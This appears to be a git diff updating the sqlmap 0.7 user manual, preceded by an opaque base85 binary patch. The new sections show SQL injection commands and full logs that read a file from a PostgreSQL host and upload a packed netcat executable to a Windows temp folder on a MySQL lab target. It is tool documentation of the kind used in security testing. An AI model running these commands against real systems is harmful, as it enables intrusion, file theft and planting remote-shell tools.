zH2C(@6PCuHn~;V(lvFAlX$&h1X%35-CWUjNiG(r3f5b`GSV0D2g@QIm9K}W;O(Gf; zM5mR8v9$lupas8%cRT_O^7rtCN&!nLcO+|2oCzpP__ddAERCsDLOGo8(N31ec5QGP zyp3%XniXkmPY7x7>Zg`0jbV5p4cA6#6-#3bKuB|7RV1@ChINHByEBezWE+VFx9W;rhF||cVi$k5)vZFx^qjm>=VIb zu-m~qYUVS!vcd6OZqWuwmdI1NgP~B?>aft0d?sghJFXMRRa@}8kEOn2$+!w3tq44@ zZJ|lNWPUs#RE|S2y5>)o`Hao&0wc}OE9Vd+xHM+lNyGAESQZP@q=i&mlcVE2)ym|$ zm#Rvq6M~7DT5VP75>E2!*XyE43_$ z!Z-_(Ruq0W6`Yl&TKTOyp{yA~Cz+)>tPDg6sc{Y$)hxtQnb{#Y)d~+-N-TtK;kGnAur;+zaL1=fK$?!Oxp2P2WVX5f8-K?-HDHkgi&e{huX zLmFhXi$W4{l59jAuC0m{!f+r^7lM%6fr2{-gJIA>JV<6HH(|vf&cST3LScT-Pl)4= zxxsN3e(op4Ns9x%H#QuaiH%sWd!;z1IE5(8?}`LBVvQ4*FUZ1Ge<2@WiLVV$3i+*e zX^vqgWyTkwFuz9}9Eac96&5JGhq&Q5IG+P>A*jC8AU~eux6-nrrh*<3%^}Uo>^p&# z058}jt_B|(vGW$(uN2X*1xSWz-+}d^4gAUwk4ssM7Ka7D2N;|Yv*i$1GDI}D+y__a z;1@lGIPMr19ET=?rkXECrJs8Nz4UiO?IpjkdftcF!QYt$1k-8$AKjVH-fTYF5<4jGO{qQ zIiawPSptPPhbVVZA-`WO2v0^J9v@*&QFn#4H%#6e(v5MBJ-L5t(_kHT2GVqpk5xe~A>qx$lzblF2?r{)N#YZa?r7UY6VY*ajY=jzZtqHzfwfCq zGeBk%R`uYmE185iYZpcb-+H^W#URR=t3(jBpodB#8mLr)Yk0GXZBI^reRMD|3rY%1 zEH?b4yV!`$DoqJwlcYXCHc3>4YzmkXKmNnB9-^{~hWU$A!J~8VR~>`naQRl;@9gkF zigWPmRl#LFxWX*#V=N@tSA`LyK8e)ed6Mdf_fjPIjf?D(1jJDdrz)erPJZ02mdKC$ z-{PK)Lt%;cBXW8PTZV+kYr587go$PqIk?{YhvDx0K~LFgSty&`f1O z<92)aD_&Y}*k2qs$(lEAyaij*z{!}<7xp`>e*pf$Q-?TyYb3A@bcTDg1>rwrl;#s_ z!6{-mSPrp3#71oVy{_O!V8ao14$5->J3SwxKg^E6G-8EL*mA`<0Ar~_Y-3@u0;M>_ zt%x|7%fP!?h=FdyiT!j}KR1Nc*8!6O0w5J`=LQ*nF35l@2J zXu~Edv&d(5h!$C>dtiHkJ!Bn(HWk!s7U#4|^N9ms5h1~12t%S!A8@R8pr_+MG^~R{ zjUk~h_oEG>0_mP1+@3jv|vn zgv3P=$9|EORi|@Xv;m+f;6GMa6ej31f3qRDFkaS@$coc7ahkBQ{ztwPb5c`3tcG1z zQZCT0WW|6X9uH*UCis2F@ZH^2}D;nG_AYaO&o-)C5%sa3L)nXqHkVHppLbN`Rw9 zWC%+?oN_RAjQ%?LZBTf`rNay>BIC5#B%lO)C4Ut=xYHKtNEi8JcmbVTUR*XO&VGf( z1+$w(LKsm*s0qJxSZ>9#V9w$musQMeiMU!(SUmE;yqhJmGR`7Wi`g>dhJo6I&Y-MM zHiG^-`N0k)foTU563LJADbc%yNhs!1A4GmTz_mz0NSPph$mSn~C4)W05ze8+3Zb5e zqk}Fd+Bo5*FGCYMoKr-82urAkdEo{38ZQ+|BX&r~TIe7m#j@Cn;^%p(gJqCEH2JFSebSTl>#rI zbPJ*%l(F$AV}sTQluc=ifu&1})d40dZadge1gryi0Vu2=IcdTcazj)%A;YA@f0VU~ zh85(KSGp6IkHj?taObv(@B$n_wBP~-^4ErgsNjT8nz$7i!xUFPh$U)$0EYY*8hCwn zeZ=6vQiXQ@aAk1A4w!FfZ&g!1@>DgMJW_*j^$-^+OxltR!Ot{^s2}SGqDt7(Fvdts z44Sb9@Ke?g)GJAN;hAsoJQikPkXUR4CKhq6;0bJL;lj9+Vj1FwA*>$=T+w!gILRph zar{-zAZo%!E3s|3-bh*m*pQ?hU>q)sxPGuwq{WO!s3ide{acbDcpO?r~aulQ^1^&e9PFRwR%bT9fF*fn$Ak^@$NCMHu4EWr=&j(j;1zJt)i{_zNzKqXKa; z|oAwi}Vq>{J@f#qc?fE}~9xq}-9suK4(){&&B!xSTJb8rZWvB451ffhVF zo8s}{H&24SNJcos@ppEEI|xZHjSfs!+_HF1R-PvGTBNE6&&P^pX=tM|OoN6h2`{V! zfgQu(j_!)v6E7c26vU)6vCiqQi(EiFNeqJDfr_JJeyzcU(E#v@IMd82R$NZZNG#4Y%$`oGfMJ+TQ4|aC z6ypyR1d$Nud7^;^xg_6I<`OBYt=zv&>$HYp5Gn0G#7UNIW-%4*_K1^|a>U{6R3Ja} zHIXfOaHS1&5HsRe0VPu7yhdOxxCMtDD3*nXwp7*u#4Y6mI1w-m%+=T!Vn&&nBA?`K z$2|W;D1kW1g%ol26bkw=3?lij1O?AA-h!4WgEx33D&TQQadCk!i2@jQO`C{uEjZ$k zj#%MHh6xp@fFX;Z85%jvCt^NWFhmN%0xp^>aPbgGTEH-fl-$1&Ct3dxCsPY{a`AKv zAk`}E5@^c-+tY_(kP(wCjsz%BBsEOx(n5lkAet+{8YROE;`na~1x>M~FwF51sU5nC zr^`27{q78I4Xc~nPv%r0_8pTT%>rPuG+X#(D5-gzoJ-3IQWN>|1$Q1AvdCd^i>M>( zCysSR{)vME5y|50S7uqbix+$hg*}c1BpOH%hgBeqn|U!}+#DI{w1as&WyASg8gSOa z-?0c94~_#QLc)A60TA#P5vX7_TLQ|a<8Eq*w8z;fz9|SIE+iZkNLvR$Um}_n_ET|! ztgwGb1BXNxC(R1C4gZAGr@E%J9^6V3RCrJp2gM?vwld4BNLjlCnBjpcIhP`izwH`K zSO@r^G%GO6NuzK`njE%2e^ouWLL4lLOWuleVu=Fy38@t7`S&{R_ek6bDv@Xl2akd4 zp-2TNpi-xq+9u}1EAtWsJ;46regW%{7BP^gsI`H);ebMD1m_|W<3TP-fZ@D|n;6)x z&^HD1LKQp1?m&ra!3GUY%7&27 z0KSo?1pWrFmk28uQ!FVAcIas0=%XzfEB*dT8=<-7xtPKgIV zj7x~sj!VAcO2?X(^Z?vR7m+O>06Z!J2Mqcn63jI)lE(!i65n|0=HX<>p7sXi6h1l zlw1}_S!x67t>{jHi*2|WEq2BtGb!lwqUSOWrTFik1x+Wrge_9gVaGYNzYSg2gX^p` z$G}a}l)!i^p)TC)5$)Bu?IYbezYNrY{#724X%7Vm+ab_k#LpUMJO9H-3 zV*7xz5)Q#Rnlv6blWGDug%g8gOA-@%N)m8z^O0r-zv(J^*+Hl0KcW=0bRZ~%H49FR zb7E=waV14=7#f(kOknIw*;W2Ei-Ri(d9kxKkz?Z;twplB;p9Y8tAYL{a}ExM0`v*r z^aDD{o&FzE9wJZI&{}HDin&ur^U2H5;hu4KydhxNP|Oc5o^ImMv^S>(Uxpg?7&ni3$Y|L43iSODklhgKznJyL9vxd z2$3r_f@v2wBpzfD797?a?mX!EG+~c}1PO8CdSyyRAO8YAkdXu)iZ8^$3paSBBTiEAnP05Pun`AcLoDli4I@a{W1UM6fUvbM$|xAi zrB_Q3C;8H|$2COk2GbvZ^Vq*je8L`)l1~WY;O!>%8Z#p7cQ|!Oe)EWvAD)5Rsdz?g zjq||rFEs-8C~PNWlFVDMSE3!UgRmEf)5IP$&=;J49l`#?55*b%^#uZCB=TxNP{22# z5#~rN$4SqxKtudrWwD)7>f`edOR418h9!*?+?0%LzSzSk;(kY*=m*Qih8goyLIjbZ#c`2nXyga{A5z~;5g_`V!p%0$BLXT! z^2e@&dkwEWsS)OeDRvqjzT(1U08)ApB5oDB%@wV-(oz3^mX=YaONaF78{fO{ Yz~1fJhp>kiY-!>`3KXbVyHd#i0p(|-`2YX_ diff --git a/doc/README.sgml b/doc/README.sgml index d2892f003..61deec94b 100644 --- a/doc/README.sgml +++ b/doc/README.sgml @@ -4,7 +4,7 @@ sqlmap user's manual <author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> -<date>version 0.7 release candidate 1, April 22, 2009 +<date>version 0.7, July 25, 2009 <abstract> This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">. Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage"> @@ -3846,7 +3846,76 @@ support when the back-end DBMS is PostgreSQL. Option: <tt>--read-file</tt> <p> -This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. +It is possible to retrieve the content of files from the underlying file +system when the back-end database management is system is either MySQL, +PostgreSQL or Microsoft SQL Server. +The file specified can be either a text or a binary file, sqlmap will +handle either cases automatically. + +<p> +The techniques implemented are detailed on the white paper +<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. + +<p> +Example on a <bf>PostgreSQL 8.3.5</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --read-file \ + "C:\example.txt" -v2 + +[...] +[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL +web server operating system: Windows 2003 or 2008 +web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 +back-end DBMS: PostgreSQL + +[hh:mm:53] [INFO] testing stacked queries support on parameter 'id' +[hh:mm:53] [INFO] detecting back-end DBMS version from its banner +[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)), +CHR(32)) +[hh:mm:53] [INFO] retrieved: 8.3.5, +[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds +[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5) +[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id' +[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system +[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile +[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500)) +[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION()) +[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data +LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)|| +CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END) +[hh:mm:03] [INFO] retrieved: 1 +[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds +[hh:mm:03] [INFO] the back-end DBMS operating system is Windows +[hh:mm:03] [DEBUG] cleaning up the database management system +[hh:mm:03] [DEBUG] removing support tables +[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile +[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique +[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file +is binary, its content will not be retrieved +[hh:mm:04] [INFO] fetching file: 'C:/example.txt' +[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile +[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea) +[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table +[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt' +[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM +sqlmapfile +[hh:mm:04] [INFO] retrieved: 1 +[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds +[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101) +||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1 +[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ== +[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds +[hh:mm:22] [DEBUG] cleaning up the database management system +[hh:mm:22] [DEBUG] removing support tables +[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile +C:/example.txt file saved to: '/home/inquis/sqlmap/output/192.168.1.121/files/C__example.txt' + +[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/192.168.1.121' + +$ cat output/192.168.1.121/files/C__example.txt +This is a text file +</verb></tscreen> <sect2>Write a local file on the back-end DBMS file system @@ -3855,7 +3924,42 @@ This paragraph will be written for sqlmap 0.7 stable version, refer to the white Options: <tt>--write-file</tt> and <tt>--dest-file</tt> <p> -This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. +It is possible to upload a local file to the underlying file system when +the back-end database management is system is either MySQL, PostgreSQL or +Microsoft SQL Server. +The file specified can be either a text or a binary file, sqlmap will +handle either cases automatically. + +<p> +The techniques implemented are detailed on the white paper +<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. + +<p> +Example on a <bf>MySQL 5.0.67</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --write-file \ + "/home/inquis/software/netcat/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1 + +[...] +[01:12:29] [INFO] the back-end DBMS is MySQL +web server operating system: Windows 2003 or 2008 +web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 +back-end DBMS: MySQL >= 5.0.0 + +[01:12:29] [INFO] testing stacked queries support on parameter 'id' +[01:12:29] [INFO] detecting back-end DBMS version from its banner +[01:12:29] [INFO] retrieved: 5.0.67 +[01:12:36] [INFO] the web application supports stacked queries on parameter 'id' +[01:12:36] [INFO] fingerprinting the back-end DBMS operating system +[01:12:36] [INFO] retrieved: C +[01:12:36] [INFO] the back-end DBMS operating system is Windows +do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully +written on the back-end DBMS file system? [Y/n] y +[01:12:52] [INFO] retrieved: 31744 +[01:12:52] [INFO] the file has been successfully written and its size is 31744 bytes, same +size as the local file '/home/inquis/software/netcat/nc.exe.packed' +</verb></tscreen> <sect1>Operating system access @@ -3866,7 +3970,11 @@ This paragraph will be written for sqlmap 0.7 stable version, refer to the white Option: <tt>--os-cmd</tt> <p> -This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. +TODO + +<p> +The techniques implemented are detailed on the white paper +<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. <sect2>Prompt for an interactive operating system shell @@ -3875,7 +3983,11 @@ This paragraph will be written for sqlmap 0.7 stable version, refer to the white Option: <tt>--os-shell</tt> <p> -This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. +TODO + +<p> +The techniques implemented are detailed on the white paper +<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. <sect2>Prompt for an out-of-band shell, meterpreter or VNC @@ -3884,7 +3996,11 @@ This paragraph will be written for sqlmap 0.7 stable version, refer to the white Options: <tt>--os-pwn</tt>, <tt>--priv-esc</tt>, <tt>--msf-path</tt> and <tt>--tmp-path</tt> <p> -This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. +TODO + +<p> +The techniques implemented are detailed on the white paper +<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. <sect2>One click prompt for an out-of-band shell, meterpreter or VNC @@ -3893,7 +4009,11 @@ This paragraph will be written for sqlmap 0.7 stable version, refer to the white Options: <tt>--os-smbrelay</tt>, <tt>--priv-esc</tt> and <tt>--msf-path</tt> <p> -This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. +TODO + +<p> +The techniques implemented are detailed on the white paper +<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. <sect2>Stored procedure buffer overflow exploitation @@ -3902,7 +4022,11 @@ This paragraph will be written for sqlmap 0.7 stable version, refer to the white Options: <tt>--os-bof</tt>, <tt>--priv-esc</tt> and <tt>--msf-path</tt> <p> -This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> for the moment. +TODO + +<p> +The techniques implemented are detailed on the white paper +<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. <sect1>Miscellaneous